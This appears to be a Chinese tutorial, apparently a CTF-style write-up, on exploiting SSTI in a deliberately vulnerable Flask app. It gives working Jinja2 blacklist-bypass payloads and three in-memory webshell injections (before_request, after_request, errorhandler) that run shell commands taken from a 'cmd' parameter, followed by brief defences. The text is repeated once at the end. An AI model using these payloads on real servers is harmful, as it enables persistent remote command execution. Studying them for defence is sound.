对ssti无回显的新版内存马学习
字数 1309 2025-08-22 12:22:42

Flask SSTI漏洞利用与内存马技术详解

一、漏洞环境分析

1.1 漏洞代码概述

文章展示了一个存在SSTI(服务器端模板注入)漏洞的Flask应用程序,主要包含以下关键部分:

from flask import Flask, request, render_template_string
import socket
import threading
import html

app = Flask(__name__)

@app.route('/', methods=["GET"])
def source():
    with open(__file__, 'r', encoding='utf-8') as f:
        return '<pre>' + html.escape(f.read()) + '</pre>'

@app.route('/', methods=["POST"])
def template():
    template_code = request.form.get("code")
    # 安全过滤
    blacklist = ['__', 'import', 'os', 'sys', 'eval', 'subprocess', 'popen', 'system', '\r', '\n']
    for black in blacklist:
        if black in template_code:
            return "Forbidden content detected!"
    result = render_template_string(template_code)
    print(result)
    return 'ok' if result is not None else 'error'

1.2 黑名单分析

黑名单包含以下关键词:

['__', 'import', 'os', 'sys', 'eval', 'subprocess', 'popen', 'system', '\r', '\n']

这些限制旨在防止直接执行系统命令和导入危险模块。

二、传统SSTI绕过技术

2.1 字符串拼接绕过

通过Jinja2的模板特性构造被禁止的关键词:

{% set gl = '_' * 2 + 'globals' + '_' * 2 %}
{% set bu = '_' * 2 + 'builtins' + '_' * 2 %}
{% set im = '_' * 2 + 'i''mport' + '_' * 2 %}
{% set hc = 'so'[::-1] %}
{{ g.pop[gl][bu][im](hc)['p''open']('cat+/f*>>app.py').read() }}

2.2 技术原理

  1. 构造__globals____builtins__

    • 使用字符串拼接绕过__检测
    • '_' * 2 + 'globals' + '_' * 2__globals__
  2. 构造__import__

    • 使用字符串拼接和分割绕过import检测
    • 'i''mport''import'
  3. 构造os模块

    • 使用字符串反转'so'[::-1]'os'
  4. 执行命令

    • 通过os.popen执行系统命令
    • 使用'p''open'绕过popen检测

三、内存马技术详解

3.1 基于before_request的内存马

3.1.1 原理分析

before_request装饰器会在每个请求到达视图函数前执行特定代码:

@app.before_request
def before_request():
    # 这里的代码将在每个请求处理之前执行
    g.start_time = time.time()
    print("This runs before each request.")

3.1.2 攻击Payload

{{ url_for.__globals__['__builtins__']['eval'](
    "__import__('sys').modules['__main__'].__dict__['app'].before_request_funcs.setdefault(None,[]).append(lambda:__import__('os').popen('dir').read())"
)}}

3.1.3 技术要点

  1. 通过url_for.__globals__访问全局变量
  2. 使用eval执行动态代码
  3. before_request_funcs列表添加匿名函数
  4. 匿名函数中执行系统命令

3.2 基于after_request的内存马

3.2.1 原理分析

after_request在请求处理完成后执行,可以修改响应:

@app.after_request
def after_request(response):
    # 这里的代码将在每个请求处理完成后执行
    return response

3.2.2 攻击Payload

{{ url_for.__globals__['__builtins__']['eval'](
    "app.after_request_funcs.setdefault(None, []).append(lambda resp: CmdResp if request.args.get('cmd') and exec(\"global CmdResp;CmdResp=__import__('flask').make_response(__import__('os').popen(request.args.get('cmd')).read())\")==None else resp)",
    {'request': url_for.__globals__['request'], 'app': url_for.__globals__['current_app']}
)}}

3.2.3 技术要点

  1. 通过URL参数cmd接收命令
  2. 使用exec动态执行代码
  3. 创建全局变量CmdResp存储命令结果
  4. 使用make_response封装响应

3.3 基于errorhandler的内存马

3.3.1 原理分析

errorhandler用于处理特定HTTP错误:

@app.errorhandler(404)
def page_not_found(e):
    return '404 Error'

3.3.2 攻击Payload

exec(
    "global exc_class;global code;exc_class, code = app._get_exc_class_and_code(404);app.error_handler_spec[None][code][exc_class] = lambda a:__import__('os').popen(request.args.get('cmd')).read()"
)

3.3.3 技术要点

  1. 获取404错误的异常类和状态码
  2. 修改error_handler_spec字典
  3. 设置自定义错误处理函数
  4. 通过URL参数cmd接收命令

四、防御措施

  1. 输入验证

    • 严格限制模板中可以使用的变量和方法
    • 使用白名单而非黑名单
  2. 沙箱环境

    • 使用安全的模板引擎如Jinja2的沙箱模式
  3. 权限控制

    • 限制应用程序运行权限
    • 禁用危险的内置函数
  4. 代码审计

    • 定期检查应用程序的请求处理逻辑
    • 监控异常行为
  5. 更新框架

    • 保持Flask和相关依赖的最新版本

五、总结

本文详细分析了Flask SSTI漏洞的利用技术,包括:

  1. 传统黑名单绕过方法
  2. 三种内存马技术:
    • before_request内存马
    • after_request内存马
    • errorhandler内存马

这些技术展示了攻击者如何在无回显环境下实现持久化访问和控制服务器。防御此类攻击需要综合运用输入验证、权限控制和持续监控等多种安全措施。

Flask SSTI漏洞利用与内存马技术详解 一、漏洞环境分析 1.1 漏洞代码概述 文章展示了一个存在SSTI(服务器端模板注入)漏洞的Flask应用程序,主要包含以下关键部分: 1.2 黑名单分析 黑名单包含以下关键词: 这些限制旨在防止直接执行系统命令和导入危险模块。 二、传统SSTI绕过技术 2.1 字符串拼接绕过 通过Jinja2的模板特性构造被禁止的关键词: 2.2 技术原理 构造 __globals__ 和 __builtins__ : 使用字符串拼接绕过 __ 检测 '_' * 2 + 'globals' + '_' * 2 → __globals__ 构造 __import__ : 使用字符串拼接和分割绕过 import 检测 'i''mport' → 'import' 构造 os 模块 : 使用字符串反转 'so'[::-1] → 'os' 执行命令 : 通过 os.popen 执行系统命令 使用 'p''open' 绕过 popen 检测 三、内存马技术详解 3.1 基于 before_request 的内存马 3.1.1 原理分析 before_request 装饰器会在每个请求到达视图函数前执行特定代码: 3.1.2 攻击Payload 3.1.3 技术要点 通过 url_for.__globals__ 访问全局变量 使用 eval 执行动态代码 向 before_request_funcs 列表添加匿名函数 匿名函数中执行系统命令 3.2 基于 after_request 的内存马 3.2.1 原理分析 after_request 在请求处理完成后执行,可以修改响应: 3.2.2 攻击Payload 3.2.3 技术要点 通过URL参数 cmd 接收命令 使用 exec 动态执行代码 创建全局变量 CmdResp 存储命令结果 使用 make_response 封装响应 3.3 基于 errorhandler 的内存马 3.3.1 原理分析 errorhandler 用于处理特定HTTP错误: 3.3.2 攻击Payload 3.3.3 技术要点 获取404错误的异常类和状态码 修改 error_handler_spec 字典 设置自定义错误处理函数 通过URL参数 cmd 接收命令 四、防御措施 输入验证 : 严格限制模板中可以使用的变量和方法 使用白名单而非黑名单 沙箱环境 : 使用安全的模板引擎如Jinja2的沙箱模式 权限控制 : 限制应用程序运行权限 禁用危险的内置函数 代码审计 : 定期检查应用程序的请求处理逻辑 监控异常行为 更新框架 : 保持Flask和相关依赖的最新版本 五、总结 本文详细分析了Flask SSTI漏洞的利用技术,包括: 传统黑名单绕过方法 三种内存马技术: before_request 内存马 after_request 内存马 errorhandler 内存马 这些技术展示了攻击者如何在无回显环境下实现持久化访问和控制服务器。防御此类攻击需要综合运用输入验证、权限控制和持续监控等多种安全措施。